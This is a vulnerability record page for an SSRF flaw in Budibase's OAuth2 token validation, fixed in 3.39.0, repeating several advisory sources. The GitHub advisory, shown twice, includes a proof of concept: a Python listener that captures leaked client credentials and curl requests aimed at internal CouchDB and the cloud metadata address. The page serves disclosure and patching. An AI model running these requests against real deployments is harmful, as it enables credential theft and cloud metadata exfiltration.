CVE-2026-48146
Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection
Budibase is an open-source low-code platform. Prior to 3.39.0, the OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. This vulnerability is fixed in 3.39.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.7
Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection
Budibase is an open-source low-code platform. Prior to 3.39.0, the OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. This vulnerability is fixed in 3.39.0.
- Record
CVE-2026-48146- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-32593
7.7
Budibase is an open-source low-code platform. Prior to 3.39.0, the OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. This vulnerability is fixed in 3.39.0.
- Record
EUVD-2026-32593- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-g6qx-g4pr-92v7
7.7
Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection
Summary
The OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts (line 59) uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint.
A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.
Details
Vulnerable code — packages/server/src/sdk/workspace/oauth2/utils.ts:59:
async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
// ...
const response = await fetch(config.url, fetchConfig) // NO blacklist check!
// ...
}
Safe wrapper used everywhere else — packages/backend-core/src/utils/outboundFetch.ts:
export async function fetchWithBlacklist(url: string, opts?: RequestInit) {
await blacklist.isBlacklisted(url) // Checks against internal IPs
const response = await fetch(url, { ...opts, redirect: "manual" })
// Re-checks every redirect target
}
Where fetchWithBlacklist IS used (consistency gap proof):
automations/steps/discord.ts— Discord webhookautomations/steps/slack.ts— Slack webhookautomations/steps/make.ts— Make.com integrationautomations/steps/n8n.ts— n8n integrationautomations/steps/zapier.ts— Zapier integrationautomations/steps/outgoingWebhook.ts— Custom webhooks- Plugin download (GitHub, NPM)
- Object store tarball downloads
Where it is NOT used:
sdk/workspace/oauth2/utils.ts:59— OAuth2 token fetch ← THIS VULNERABILITY
PoC
# 1. Start SSRF listener
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length)
print(f'SSRF: {self.path} | Body: {body.decode()}')
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(b'{\"access_token\":\"x\",\"token_type\":\"bearer\"}')
http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()
" &
# 2. As builder, validate OAuth2 config pointing to internal service
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9999/ssrf","clientId":"test","clientSecret":"test"}'
# Result: Listener captures POST with Authorization: Basic header containing credentials
# The client_id and client_secret are leaked to the attacker-controlled URL
# 3. Access internal CouchDB
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:5984/_all_dbs","clientId":"x","clientSecret":"x"}'
# Result: {"valid":false,"message":"Unauthorized"} — confirms CouchDB is reachable
# 4. Access AWS metadata (in cloud deployments)
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"x","clientSecret":"x"}'
Additional SSRF Vector: REST Integration Redirect Bypass
The REST integration at packages/server/src/integrations/rest.ts:754-778 calls blacklist.isBlacklisted(url) only once on the initial URL, then passes it to undici.fetch() with default redirect: "follow". Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to 169.254.169.254.
Contrast with safe wrapper: fetchWithBlacklist() uses redirect: "manual" and re-checks every redirect target.
Impact
- Internal service access — CouchDB (default port 5984), Redis, internal APIs
- Cloud metadata exfiltration — AWS/GCP/Azure IAM…
- Record
GHSA-g6qx-g4pr-92v7- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
7.7
Budibase is an open-source low-code platform. Prior to 3.39.0, the OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. This vulnerability is fixed in 3.39.0.
- Record
CVE-2026-48146- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
7.7
Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection
Budibase is an open-source low-code platform. Prior to 3.39.0, the OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. This vulnerability is fixed in 3.39.0.
- Record
CVE-2026-48146- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-g6qx-g4pr-92v7
7.7
Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection
Summary
The OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts (line 59) uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint.
A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.
Details
Vulnerable code — packages/server/src/sdk/workspace/oauth2/utils.ts:59:
async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
// ...
const response = await fetch(config.url, fetchConfig) // NO blacklist check!
// ...
}
Safe wrapper used everywhere else — packages/backend-core/src/utils/outboundFetch.ts:
export async function fetchWithBlacklist(url: string, opts?: RequestInit) {
await blacklist.isBlacklisted(url) // Checks against internal IPs
const response = await fetch(url, { ...opts, redirect: "manual" })
// Re-checks every redirect target
}
Where fetchWithBlacklist IS used (consistency gap proof):
automations/steps/discord.ts— Discord webhookautomations/steps/slack.ts— Slack webhookautomations/steps/make.ts— Make.com integrationautomations/steps/n8n.ts— n8n integrationautomations/steps/zapier.ts— Zapier integrationautomations/steps/outgoingWebhook.ts— Custom webhooks- Plugin download (GitHub, NPM)
- Object store tarball downloads
Where it is NOT used:
sdk/workspace/oauth2/utils.ts:59— OAuth2 token fetch ← THIS VULNERABILITY
PoC
# 1. Start SSRF listener
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length)
print(f'SSRF: {self.path} | Body: {body.decode()}')
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(b'{\"access_token\":\"x\",\"token_type\":\"bearer\"}')
http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()
" &
# 2. As builder, validate OAuth2 config pointing to internal service
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9999/ssrf","clientId":"test","clientSecret":"test"}'
# Result: Listener captures POST with Authorization: Basic header containing credentials
# The client_id and client_secret are leaked to the attacker-controlled URL
# 3. Access internal CouchDB
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:5984/_all_dbs","clientId":"x","clientSecret":"x"}'
# Result: {"valid":false,"message":"Unauthorized"} — confirms CouchDB is reachable
# 4. Access AWS metadata (in cloud deployments)
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"x","clientSecret":"x"}'
Additional SSRF Vector: REST Integration Redirect Bypass
The REST integration at packages/server/src/integrations/rest.ts:754-778 calls blacklist.isBlacklisted(url) only once on the initial URL, then passes it to undici.fetch() with default redirect: "follow". Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to 169.254.169.254.
Contrast with safe wrapper: fetchWithBlacklist() uses redirect: "manual" and re-checks every redirect target.
Impact
- Internal service access — CouchDB (default port 5984), Redis, internal APIs
- Cloud metadata exfiltration — AWS/GCP/Azure IAM…
- Record
GHSA-g6qx-g4pr-92v7- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@budibase/servernpm |
before 3.39.0 | 3.39.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-48146 is a high vulnerability (CVSS 7.7) in Budibase, published May 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.22%, the 12th percentile. Fixed in @budibase/server 3.39.0.
References
Left out here: the rest of 2 source descriptions. The JSON record has them.